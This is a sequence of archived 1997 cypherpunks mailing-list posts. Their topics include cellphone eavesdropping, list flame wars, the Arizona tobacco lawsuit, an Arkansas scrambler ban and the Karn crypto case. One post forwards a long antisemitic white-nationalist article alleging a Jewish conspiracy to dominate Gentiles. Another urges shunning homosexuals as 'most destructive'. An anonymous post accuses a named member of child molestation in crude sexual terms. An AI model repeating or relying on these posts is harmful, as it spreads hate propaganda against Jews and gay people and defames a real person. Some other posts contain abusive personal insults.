> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.
> 
> 

Why restrict the list of usual suspects to the phone company?

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 22:03:26 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for 	 1997
In-Reply-To: <v03007801af01f45e92d3@[139.167.130.248]>
Message-ID: <32DDDC95.3271@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> I fished this out of my killfile. Ironically, I had just plonked Toto
> yesterday because I saw no compelling merit in anything he has posted to
> cypherpunks since he got here, and given the quantity of his posts, he was
> starting to waste my attention. However, this morning, as my mail was
> coming down in Eudora, I saw that he had replied to this month's DCSB
> announcement, and, frankly, I knew that it had to be something like this.

  Why do people feel compelled to 'explain' how they 'chanced'
to read items in their 'killfile'? It always seems to me to be
for the purpose of insulting someone while keeping egg off of
their own face.

> When I sent the posting in question to the cryptography groups, I figured
> that this month's DCSB meeting would not not be especially on topic, even
> for cypherpunks :-). 

> Anyway, I apologize to anyone this has offended. Except, of course, for
> certain, um, dogs.

  I didn't consider it particularly off-topic, myself. I was jes'
fishin.
 
> <Now, where's Toto? It looks like he needs a physic... Toto!!! Here, Boy!
> Waaalkies!!!!>

  And it looks like I 'caught' one.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 15 Jan 1997 21:00:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seen Your Post!
In-Reply-To: <Pine.SUN.3.91.970115140535.6353A-100000@crl.crl.com>
Message-ID: <TqXL1D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
>
> On Wed, 15 Jan 1997, Sean Roach wrote:
>
> > At 01:17 AM 1/15/97 -0800, Garry wrote:
> > >I Seen Your Post!
> > >...
>
> > I hope that our moderator will judge posts on the total content,
> > otherwise insidious little posts like this one may slip through.
>
> I caught that one.  I'm sure some will slip through from time to
> time though.

I wonder what the dishonorable moderator means by the C in "C'punks".
It obviously can't be "cypher" or "crypto" since crypto is off-topic
on this list. Is it one of the things that the 'C' in "Timmy C. May"
is reported to designate?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 16 Jan 1997 00:22:03 -0800 (PST)
To: Sean Roach <toto@sk.sympatico.ca>
Subject: Re: It's a great new year!  telemarketers and solicitors
Message-ID: <199701160822.AAA02684@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 Jan 97 at 21:06, Toto wrote:

>   With the 'wonder of modern technology' at their fingertips,
>   however,
> the 'common man/woman' can also avail themselves of the plethora of
> information lying within reach of their sticky little fingers.
> 
>   Big Brother wants to know everything about everybody, and if the
> average user gets tired of Little Brother getting ahold of the
> information, then I am sure that Big Brother will come to our
> rescue, passing laws and instituting regualtions that 'save' us by
> ensuring that only Big Brother knows all.

Yeah, if everyone keeps crying and whining about "too much spam"  
"too much information freely available"  Then that's just what will 
happen.  Keep the Government out of the Internet!!!!!!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AquaDeath <aquadeath@monmouth.com>
Date: Wed, 15 Jan 1997 21:40:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to crack
Message-ID: <3.0.32.19970116003738.0068cda4@monmouth.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Persona: <AquaDeath>
>Date: Wed, 15 Jan 1997 21:21:54 +0000
>From: "Tim O'Brien" <tmo9d@virginia.edu>
>Organization: University of Virginia
>To: cypherpunks@toad.com
>Subject: How to crack
>Sender: owner-cypherpunks@toad.com
>

Thanks for your wonderful insight, next time keep it to yourself.

>Hi, my name is Tod, and I really want to be a cool hacker, so I joined
>this crap mailing list called cypherpunks.  
>
>
>
>Blah Blah Blah, you guys don't know anything...Prove yourself and I may
>let you in.  This mailing list is for people who want to sell goods
>nothing else.....
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: +Sabbath+ <BlackSunday@Hell.DOA>
Date: Wed, 15 Jan 1997 23:35:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: How to crack
Message-ID: <32DDDBE2.7C2C@Hell.DOA>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Tim O'Brien wrote:

> Hi, my name is Tod, and I really want to be a cool hacker, so I joined
> this crap mailing list called cypherpunks.  
> 
> Blah Blah Blah, you guys don't know anything...Prove yourself and I may
> let you in.  This mailing list is for people who want to sell goods
> nothing else.....



Tim ,Tod, whatever:


	The list is for Hackers & Crackers. Since you made the famous Dumbshit
Statement " I want to be a Hacker" Your first hack test is trying to get
off the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:13 -0800 (PST)
To: CYPHERPUNKS-OUTGOING-KSIUW@toad.com
Subject: YEEHAW! Tobacco argument heats up in AZ
Message-ID: <199701230615.XAA06580@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    summary: AZ AG filed for an injunction in the public interest
    to stop the sale of tobacco in AZ.  tobacco company response 
    claimed he was infringing on legislative rights...   full story is
    below.

        pure warmed-over buffalo chips --the tobacco interests.  

        ...create a conflict between the judiciary and the legislative
    branches since the judiciary can ban the sale of something the 
    legislative branch has decided to regulate and collect taxes 
    from ...  ?

        where did this boy learn his logic, let alone his law (of 
    course, who ever said any lawyer used logic any more than
    statistics are used to defend lies?)

        big tobacco will spend at least $200 million, maybe even $1
    billion in advertising and diversions to avoid this one --this is
    not a tort issue with delayable appeals --this is injunctive
    relief which could stop the sale of tobacco in a single hearing.

        bravo! and, I'll bet AZ never passed legislation which states 
    the death merchants have a mandated "right" to sell tobacco 
    products, even though the legislature did elect to pass a law to 
    "regulate" the sale of tobacco.  a mandated right implies 
    endorsement, and places the endorser in the product liability 
    chain. 

        A fine line maybe for the tobacco companies to hang their hats
    on, but a Grand Canyon worth of the state if there has no "right"
    to sell granted --granting a "right to sell" would be tantamount to 
    endorsing the sale of tobacco products.  this may be the perfect 
    shot. 

        let's see how long before the ACLU jumps in!  and, on which
    side will they jump?!?   Is 'smoking' a libertarian privilege 
    cranted unconditionally to the people despite the side effects, 
    and collatgeral damage, even if you do not smoke? 

        This case should draw enough amicus curiae to require an 
    entirely new complex of libraries just to hold the pleadings, 
    and an army of law clerks with a massively parallel database 
    to catalogue and service the briefs.

        I can see the fine hand of the Association of Attorney Generals
    driving this one.  Arizona is constituted just mean enough to take 
    this kind of action.  

        Let's see how long it is before the Feds try to step in on the 
    possible Constitutional grounds of regulating trade between the
    states, or claiming "jurisdiction" under rule 10 FRCP where 
    the combatants are of differing 'citizenship' AND the amount is
    more than $10,000 (the injunctive relief has no monetary value in
    and of itself) can be moved by any party to the Federal court 
    having jurisdiction (that was how I prevented AT&T from moving from 
    NV to NY or NJ where they could stall forever and indulge in the 
    usual payoffs).

        --as an aside, I wonder if we could ban tobacco sales in Utah 
    by referendum?  if the population is 70% LDS, the rural more 
    likely to follow the word of wisdom active members might be enough 
    to tip the vote on a referendum.  hmmm.  that would send a message
    even McCaffey and Reno would have a problem with --there is no
    medical defense for tobacco.

        As for the loss of revenue argument, the excise taxes the state
    collects from the sale of tobacco certainly does not cover the 
    increased health costs and the collateral economic and social costs 
    associated with tobacco related health problems.  the state might 
    have a net loss position initially, but over the long run, the
    reduced health costs will more than cover the loss of tobacco excise 
    tax.

        meanwhile, back to prohibition: rolling your own from back 
    yard weeds is a lot harder than making bathtub gin!

  ==
  "When buying and selling are controlled by legislation, 
    the first things to be bought and sold are legislators"  
        --P.J. O'Rourke.

  ==
  "hunt lawyers, not big game!
    lawyers are more numerous,
    you can not become attached to them,
    and they taste just like chicken."
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMubQI704kQrCC2kFAQFeFgP+MUBbpn9yNDi2NmSZd2D5qlUvYIyobPd7
ppVxG2Wne5cywM9NWRYGCUA4g2QxlYRA7+sAxbxKa0kLpjhW38IAe8ea/0NnkH+P
exTvtUTD35sAU6bl5ypGsFF/1Nuzy7+UWIKdm7LROPjiNMp+C/TEQQrHR5jF1x5A
EoWkoBzrwTs=
=1+2g
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::            06:30 PM ET 01/14/97

::            Tobacco industry seeks dismissal of Arizona case

::                     
::      PHOENIX, Arizona (Reuter) - The tobacco industry filed
:: motions on Tuesday in a bid to dismiss the Arizona Attorney
:: General's law suit which seeks to ban the sale of tobacco in the
:: state.
::      Lawyers for two of the defendants, Brown & Williamson
:: Tobacco Corp. and Philip Morris Cos Inc. (MO.N), said in a
:: statement the proposed ban would eliminate tax revenue from the
:: sale of tobacco which is used to fund healthcare and education
:: programs statewide.
::      "We have filed motions asking the court ... whether these
:: claims should be permitted to proceed,'' said William Maledon a
:: lawyer at Osborn Maledon which represents Philip Morris Inc.
:: "We believe it is clear that the Attorney General has no
:: authority to initiate at least six of the 11 claims he has
:: brought,'' he said.
::      The tobacco industry on Tuesday filed eight motions to
:: dismiss the suit in Maricopa County Superior Court in Arizona.
:: The Arizona lawsuit against the tobacco industry was filed
:: in August and amended by the state's attorney general in
:: November.
::      The suit seeks to ban the sale of tobacco products statewide
:: and recover increased healthcare insurance premiums the state
:: alleges to have paid for ``tobacco-related illnesses'' by state
:: employees and their dependents.
::      The suit also seeks ``corrective'' advertising and funding
:: of programs to help people give up smoking as well as
:: unspecified damages for alleged consumer fraud, restraint of
:: trade and civil racketeering.
::      Paul Eckstein, an attorney with Brown & Bain which
:: represents Brown & Williamson, said Arizona would suffer should
::  the attorney general win the suit.
::      "If the Attorney General prevails on this public nuisance
:: argument, the tobacco tax revenue source would be eliminated
:: without legislative input,'' he said.
::      "This raises the question of which state programs would be
:: eliminated for lack of funding,'' he added.
::      The lawyers said Arizona collected $650.5 million in tobacco
:: excise taxes from 1980 through 1993 and that the state will
:: collect another $167.5 million in fiscal 1996.
::      "The Arizona Legislature has not chosen to ban the sale or
:: use of tobacco, but rather regulate and profit from it,''
:: Eckstein said. ``This lawsuit would create a direct and
:: irreconcilable conflict between the judicial and legislative
:: branches of government.''








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Thu, 16 Jan 1997 04:14:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701161214.EAA26655@idiom.com>
MIME-Version: 1.0
Content-Type: text/plain


It figures.  It's Fuehrer Clinton's home state, isn't it?

Somedays, this shit just makes me want to give up on the USA, and
emigrate to Anguila.

-jcr

begin forwarded message:

Date:  January 15, 1997
To:  All RadioShack Stores 
From:  RadioShack Communications
Subject:  URGENT PRODUCT NOTIFICATION
Memo Id:  8216

IMMEDIATE ATTENTION 
The Arkansas Police have declared that is is illegal to own, use, or
possess RSU product #11265113, a fully assembled
descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
legal department is researching this and the product has been removed
from RSU distribution.  DO NOT take order or sell this product until
this situation can be resolved.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1 if by land, 2 if by sea.  Paul Revere - encryption 1775

Charles R. Smith
SOFTWAR
http://www.us.net/softwar

Pcyphered signature:
9CA23246F0A9093AE97B94CFBB8E03D01998C13F0A52373C3D7AB2289F1F63A1
0A2E18043109D5211BC95C7995158BFA246FA376A454001ECADF3D4C86A7A8DC
ABF75F374AB54252949670681C6E798E7A4C59314F0F2BB5768A45D4D262DC20
8045B84E1E368F6253EC1101E5E96B35B2E30F9B97A33ABD2D729FC369D4CB3F
127CC6ED150654541F52F08D11A1AAA832367E058F07542F854086409F45BA19
F2F9D46190F59D12A489B59206FDCF200C1D1D72A2F3099C9DD725344CA565B4
504E8B20AE92E3E7230C320FB76EE88D950E9EF21BA1BB4D2C48794CCDC809A4
EF1E11B38B335E64EDEBD6545265B033B47EE06CE598D608DB9968CF4B360DB1






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 16 Jan 1997 03:25:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jews (American Dissident Voices Weekly Transcripts)
Message-ID: <Pine.LNX.3.95.970116061648.30623B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


we take no position on this matter, and
this is forwarded for Usenet Distribution.
---------- Forwarded message ----------
Date: Wed, 15 Jan 1997 15:31:05 -0500
From: The Bok <vincent@dreamon.com>
Reply-To: jimsteel@dreamon.com
From: The Bok <vincent@dreamon.com>
Reply-To: jimsteel@dreamon.com
To: jimsteel@dreamon.com
Subject: American Dissident Voices Weekly Transcripts

---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 
---------------------------------------------------------------

Jewish Supremacy:

Those Who Want to Dominate a Multiracial Society Are Racial
Supremacists; Those Who Want to Live in a Healthy, Homogeneous Society
Are Racial Separatists.

by Kevin Alfred Strom 

 Have you ever noticed the psychological phenomenon in which a person
will often call attention to the real or imagined faults in others that
he himself suffers from? The name of this phenomenon is projection, and
it certainly crops up often in life: the mentally unbalanced man
accusing others of being "crazy"; the extremely jealous woman accusing
her husband of not trusting her; the habitual schemer accusing his
co-workers of plotting against him; the greedy man excoriating his
fellows for being selfish; etc. 

 This phenomenon is nowhere more apparent than in the controlled media's
readiness to accuse anyone who believes in White survival of being what
they call a "White supremacist." This has to be the most egregious
example imaginable of the pot calling the kettle black. 

 Actually, it is more like the pot calling the silverware black, since
most of those accused of being À "White supremacists," or in
illiterate-speak, "White supremists" [sic], are actually White
separatists, a very important distinction. It is the largely Jewish
masters of the media who are supremacists supreme. 

 A separatist desires that his people should have freedom and
independence from domination by other peoples, and to that end he works
for the day when his people shall be able to live and provide for
themselves in their own nation, without the burden of an underclass or
overclass comprised of other peoples. A separatist specifically does not
desire to be an overclass. He does not want to rule over any other
people. In fact, a separatist does not want a multiracial society at
all. 

 A supremacist, on the other hand, wants and demands a multiracial
society. In this multiracial society he wishes his race or social group
to be the dominant one. The fact that this desire is usually cloaked in
pretensions of beneficent intentions and "the greatest good for the
greatest number" should not obscure the fact that it is a master/servant
relationship that the supremacist wants. White Americans who promoted
Black slavery in this country during the first half of the 19th Century
could properly be called supremacists. White American businessmen who
support increased Third World immigration to provide themselves
with cheap labor are essentially supremacists. The White upper class
have abandoned their own people, but they daub their unconscionable
piggish greed and treason with a fake gilding of "tolerance" which they
themselves neither believe nor practice. 

 The world champions of hypocrisy when it comes to ethnic supremacy,
however, have to be the organized Jews. Dominant in the Hollywood/New
York cultural axis, when anyone challenges their interests they are
quick to denounce with the words that they have made into terms of
opprobrium: "racist," "White supremacist," etc. In their movies and
their newscasts they are zealous in their promotion of the idea of a
multiracial, multicultural society in which all live in perfect harmony.
In fact, the genesis of this "multicultural" moral and social construct
was with the leftist media Jews and their allies, as they themselves
admit in private Jewish publications (see previous article, "Yiddishkeit
Pathology." But a careful examination of organized Jewry's attitudes
towards other races reveals a quite different face from that presented
to the public. In fact, it can be fairly said that Jewish religion and
Jewish practice exemplify racial supremacy at its most hateful and its
most outrageous. In truth, after examining definitive Jewish religious
documents one can be forgiven for thinking that racism just might have
been invented by the Jews. 

Let's take a look at the record. 

 A few years ago a friend of mine, after a long evening discussing
politics and conspiracy, asked me, "If there really were a Jewish plan
to dominate and enslave us as you say, surely someone would have
defected and spilled the beans on his fellow conspirators." 

 "Well," I replied, "I agree that would be the very best evidence of
all." 

 I can tell you now that such evidence not only exists, but it is
plentiful. It is not all in one place, and one has to examine the
testimony of more than one individual to get the complete picture, but
there are indeed defectors from what my friend called the "Jewish
conspiracy." I am not sure how well the word "conspiracy" now applies to
a domination presently being conducted more and more out in the open,
but a conspiracy it once was, and defectors it has surely had, though
not all of them would have claimed that title. Long-time readers will be
familiar with the names of a few of these: Benjamin H. Freedman, Alfred
Lilienthal, Victor Ostrovsky, Samuel Roth, Marcus Eli Ravage, Noam
Chomsky, Israel Shahak. Each provides a piece of truth that the ruling
establishment does not wish you to know. 

 Today let us examine Israel Shahak. Israel Shahak is a professor
emeritus at Hebrew University and longtime Israeli dissident. Israel
Shahak is a liberal Jew who excoriates "Nazis" repeatedly and
vociferously in his writings. Israel Shahak is himself a former resident
of the Bergen-Belsen concentration camp during World War II. He was
raised as an Orthodox Jew. He is a Jew who settled in Palestine in 1945
and was witness to the founding of the state of Israel. And he is a
powerful opponent of Jewish hypocrisy. 

 The extraordinary thing about Israel Shahak is that he does not have a
double standard for Jews and non-Jews when it comes to racial supremacy.
Shahak is against racial supremacy whether practiced by Jews or
non-Jews, and he finds that it is practiced extensively by Jews and is
in fact part of their religious traditions. Professor Shahak finds this
morally disturbing and not in the long-term interests of Jews. Professor
Shahak has published a book which examines the issue of Jewish racism in
detail, Jewish History, Jewish Religion: The Weight of 3,000 Years. 

 Israel Shahak says that Judaism and its teachings are "poisoning the
hearts and minds" of its followers and have been doing so for thousands
of years. In a recent forum at the Massachusetts Institute of
Technology, he acknowledged that Jews have been persecuted in the past,
but emphasized that today "it is quite common that a persecuted group
becomes the persecutor."

 One of Shahak's favorite activities is translating the Hebrew press
into English for the edification of the rest of us, a practice which has
earned him the burning hatred of many in the Jewish establishment. One
article he translated recently, by Israeli journalist Tom Segev, relates
the writer's random walk through Jerusalem in the company of an Arab
lawyer. The lawyer was stopped repeatedly by Israeli guards and his
identification papers were demanded. One guard ordered him, "Come here,
jump." Then the guard dropped his papers on the road and, laughing,
demanded that the Arab pick them up. Aside to the Jewish journalist the
guard stated, "These people will do whatever you tell them to do. If I
tell him to jump, he will jump. Run, he will run. Take your clothes off,
he will take them off. If I tell him to kiss the wall, he will kiss it.
If I tell him to crawl on the road, won't he crawl? . . . Everything.
Tell him to curse his mother and he will curse her too." The guard
continued, offering his opinion that the Arabs are "not human beings."
The border guards then searched the lawyer, gratuitously slapping him,
and ordered him to remove his shoes, warning him that they could order
him to remove all his clothes if they so chose. Segev continues: "My
Arab kept silent and sat down on the ground." The border guards laughed
and said again, "Really, not humans." 

 This, of course, is a relatively mild example of the attitude of many
Jews toward Gentiles, but it suffices to show the mentality involved. 

 Shahak, in an article entitled "The Ideology Behind the Hebron
Massacre," gives us some additional recent examples of this widespread
Jewish attitude. He translates a few of the statements of a religious
group in Israel called the Gush Emunim, which, according to Shahak,
"enjoy[s] [Yitzhak] Rabin's friendship and strong influence in wide
circles of the Israeli and diaspora Jewish communities." 

 This sect states that Jews are not and cannot be a normal people. 

 One of their leaders, Rabbi Schlomo Aviner, stated,". . . while God
requires other normal nations to abide by abstract codes of justice and
righteousness, such laws do not apply to Jews." 

 Rabbi Israel Ariel states, "A Jew who kills a non-Jew is exempt from
human judgment, and has not violated the prohibition of murder." 

 According to Gush Emunim rabbis, "all Arabs living in Palestine are
thieves because since the land was once Jewish, all property to be found
on that land really belongs to the Jews." 

 These Jewish fanatics feel invincible. They possess one of the world's
most powerful military machines (built up by five billion or more U.S.
dollars in annual aid) and have plenty of potential American cannon
fodder at their disposal. They state: "Israel need have no fear of
future wars, and can even provoke them at will . . . Even if there is
peace, we must instigate wars of liberation in order to conquer . . ." 

 In Shahak's article former Knesset member Rabbi Eliezar Waldman, who is
now the director of the main Jewish school in Kiryat Arba, expresses the
view "that by fighting the Arabs, Israel carries out its divine mission
to serve as the heart of the world . . . while Arab hostility springs,
like all anti-Semitism, from the world's recalcitrance against being
saved by the Jews, . . . or from Arabs seeking to fulfill their
collective death-wish." 

 Shahak recounts the answer of a rabbi who was asked by an Israeli
soldier if it was proper to kill Arab women and children. The rabbi's
answer was a quote from the Jewish holy book, the Talmud "The best of
the gentiles . . . kill him; the best of snakes . . .dash out its
brains." Some holy book; some religion! 

 Shahak contends that Jews are imbued with such attitudes to the degree
that they are immersed in Judaism. In his book he explores the
anti-Gentile outlook of Judaism's Talmud. He writes: 

"According to the Jewish religion, the murder of a Jew is a capital
offense and one of the three most heinous sins (the other two being
idolatry and adultery). Jewish religious courts and secular authorities
are commanded to punish, even beyond the limits of the ordinary 
administration of justice, anyone guilty of murdering a Jew . . . When
the victim is a Gentile, the position is quite different. A Jew who
murders a Gentile is guilty only of a sin against the laws of Heaven,
not punishable by a court. To cause indirectly the death of a Gentile is
no sin at all. 

"Thus, one of the two most important commentators on the Shulhan 'Arukh
explains that when it comes to a Gentile, "one must not lift one's hand
to harm him, but one may harm him indirectly, for instance by removing a
ladder after he had fallen into a crevice . . . there is no prohibition
here, because it was not done directly." 

"A Gentile murderer who happens to be under Jewish jurisdiction must be
executed whether the victim was Jewish or not. However, if the victim
was Gentile and the murderer converts to Judaism, he is not punished. 

Shahak reveals that according to the Talmud: 

"Sexual intercourse between a married Jewish woman and any man other
than her husband is a capital offense for both parties, and one of 
the three most heinous sins. The status of Gentile women is very
different. The Halakhah presumes all Gentiles to be utterly promiscuous
and the verse "whose flesh is as the flesh of asses, and whose issue [of
semen] is like the issue of horses" is applied to them . . . Therefore,
the concept of adultery does not apply to intercourse between a Jewish
man and a Gentile woman; rather the Talmud equates such intercourse to
the sin of bestiality . . . 

"According to the Talmudic Encyclopedia: "He who has carnal knowledge of
the wife of a Gentile is not liable to the death penalty, for it is 
written: `thy fellow's wife' rather than the alien's wife . . . and
although a married Gentile woman is forbidden to the Gentiles, in any
case a Jew is exempted." 

"This does not imply that sexual intercourse between a Jewish man and a
Gentile woman is permitted -- quite the contrary. But the main
punishment is inflicted on the Gentile woman; she must be executed, even
if she was raped by the Jew: "If a Jew has coitus with a Gentile woman,
whether she be a child of three or an adult, whether married or
unmarried, and even if he is a minor aged only nine years and one day .
. . because he had willful coitus with her she must be killed, as is the
case with a beast, because through her a Jew got into trouble."

"If a Jew finds property whose probable owner is Jewish, the finder
is strictly enjoined to make a positive effort to return his find by
advertising it publicly. In contrast, the Talmud and all the early
rabbinical authorities not only allow a Jewish finder to appropriate an
article lost by a Gentile, but actually forbid him or her to return it .
. . 

"It is forbidden to defraud a Jew by selling or buying at an
unreasonable price. However, fraud does not apply to Gentiles, for it is
written: "Do not defraud each man his brother . . . The Halakhah
interprets all such idioms [as 'each man his brother' or 'neighbor'] as
referring exclusively to one's fellow Jew. 

"In 1962 a part of the Maimonidean Code . . . the so-called Book of
Knowledge, which contains the most basic rules of Jewish faith and 
practice, was published in Jerusalem in a bilingual edition, with the
English translation facing the Hebrew text. The latter has been restored
to its original purity, and the command to exterminate Jewish infidels
appears in it in full: "It is a duty to exterminate them with one's own
hands." In the English translation this is somewhat softened to: "It is
a duty to take active measures to destroy them." But then the Hebrew
text goes on to specify the prime examples of "infidels" who must be
exterminated: "Such as Jesus of Nazareth and his pupils, and Tzadoq and
Baitos [the founders of the Sadducean sect] and their pupils, may the
name of the wicked rot." Not one word of this appears in the English
text on the facing page (78a). And, even more significant, in spite of
the wide circulation of this book among scholars in the English-speaking
countries, not one of them has, as far as I know, protested against this
glaring deception. 

 Jew Israel Shahak has done the world a great service. He has been
intellectually honest and very courageous. In Israel he speaks against
Judaism at a very real risk to his life so as to reveal the truth about
the most long-standing and utterly hostile racism the world has ever
seen: Jewish racism. 

 Israel Shahak's works make it clear that the new religion of "equality"
promoted by the Jewish establishment is for Gentile consumption only.
Organized Jews promote "equality," but they believe in the very
opposite. They believe that they are a special, chosen people, destined
to rule all others and to own all the wealth of the world. They are
fanatical about preserving their heritage and their identity, their
exclusive Jewish schools, and their organizations. The prevailing Jewish
world view is a textbook example of the racial supremacy they are so
fond of accusing others of having. 

 What can we learn from this? I assure you it is not my purpose to
promote hatred or racial supremacy from our side of the racial divide.
The very fact that I devote so much space to truth-telling Jewish
dissidents should prove that. 

 I think we can learn a lot from an unbiased observation of Jewish
activities. First we must acknowledge that they have been amazingly
successful at surviving. Surrounded by often hostile majorities, they
have preserved their identity, their culture, and the germ of their
racial uniqueness through millennia. For that we can credit their
intense sense of identity and solidarity and their belief in themselves
as a people. I deeply wish that we Europeans could emulate them in this
regard, for then our survival would be assured. 

 But I cannot recommend their hypocrisy as an example to be followed.
This hypocrisy always leads them to practice a supremacist rather than a
separatist way of life. Despite some Zionist denials the Jewish way of
life shows every sign of continuing on its perpetual path of living
among other peoples as a solid, organized minority and attempting to
gain the upper hand in Gentile nations by promoting the poisonous idea
of a raceless society. This destructive and hypocritical approach is
sure death for the Gentiles, of course, and in the long run always
backfires on the Jews. That is precisely what Professor Shahak is
worried about. 

 I think that racial separatism, not supremacy, is the only path to
independence and freedom for all peoples on this planet. It is also a
path that is in harmony with our natural instincts. Our instincts -- all
of them -- are there for very important reasons, and we would not be
what we are if it were not for the instincts which led us to survive the
rigors of Ice Age Europe and to consider ourselves fundamentally
different from peoples who developed closer to the Equator.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 16 Jan 1997 03:29:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive
In-Reply-To: <1.5.4.16.19970115053019.18bf61b4@mail.aloha.com>
Message-ID: <Pine.LNX.3.95.970116062523.30623C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


An excellent Article here, pointing out why everybody should
shun homosexuals to be safe and healthy.

On Wed, 15 Jan 1997, Dr. Jai Maharaj wrote:

> When it comes to AIDS, unless there are facts to invalidate the following
> information, it is evident that the homo/bi/sexual lifestyle is
> overwhelmingly the most destructive among those listed:
> 
> "Who Are The Patients?
>    "In the United States, homosexual and bisexual males make up
> approximately 62 percent of the total patients. The other major group
> afflicted with AIDS are intravenous drug abusers -- both men and women --
> who constitute 20 percent of the total. . . ."
> 
> "ADULTS AND ADOLESCENTS WITH AIDS, 1981-87
> ==================================  Males  %  Females  %  Both sexes   %
> Homosexual/bisexual males          50,325 68           0      50,325  62
> Intravenous (IV) drug abusers      12,529 17    3,622 52      16,151  20
> Homosexual male an IV drug abusers  5,874  8                   5,874   7
> Hemophilia/coagulation disorder       751  1       22  0         773   1
> Heterosexuals                       1,516  2    2,073 30       3,589   4
> Blood transfusion                   1,297  2      747 11       2,044   3
> Undetermined (1)                    2,143  3      519  7       2,662   3
> TOTAL                              74,435 91    6,983  9      81,418 100
> =========================================================================
> "Note:  Provisional data.  Cases with more than one risk factor than the
> combinations listed are tabulated only in the category listed first.
> (1) Includes patients on whom risk information is incomplete, patients
> still under investigation, men reported only to have had heterosexual
> contact with a prostitute, and patients for whom no specific risk was
> identified; also includes one health care worker who developed AIDS after
> a documented needle-stick to blood. Source: Centers for Disease Control."
> =========================================================================
> Cited in "The Universal Almanac 1990", Andrews and McMeel, 1989.
> =========================================================================
> 
> Readers are invited to post data supporting or opposing the above.
> 
> Jai Maharaj
> jai@mantra.com
> Om Shanti
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Wed, 15 Jan 1997 22:55:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quadratic residues
Message-ID: <199701160655.HAA02470@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May the self-admitted child molester possesses a rudimentary dick 
less than one inch long, half the size of his mother's clitoris, that 
barely makes a fistful. Thereby hangs the root of this Jew-hating 
sissy's sick fixation on little boys and Usenet forgeries.

      \\\
     (0 0)
 _ooO_(_)_Ooo____ Tim May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 16 Jan 1997 08:41:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Response to my post about Karn case and Judge Ginsberg
Message-ID: <Pine.GSO.3.95.970116084051.6010I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 16 Jan 1997 08:39:22 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Response to my post about Karn case and Judge Ginsberg

[In a post earlier this week announcing that a partial Karn transcript was
in Netly's Afterword section, I said that Ginsberg had libertarian
leanings. Attached is a response. --Declan]

---------- Forwarded message ----------

Date: Wed, 15 Jan 1997 10:48:46
From: [Name deleted -DBM]
To: Declan McCullagh <declan@well.com>
Subject: Re: Karn case challenging crypto rules -- oral arguments online

I don't know if you're aware of this case, but Judge Ginsberg wrote the
most disturbing dissenting opinion on a national security issue that I
can think of in recent years.  It was a lawsuit involving old FBI
COINTELPRO activity from the late 1950s.  The widow of a prominent
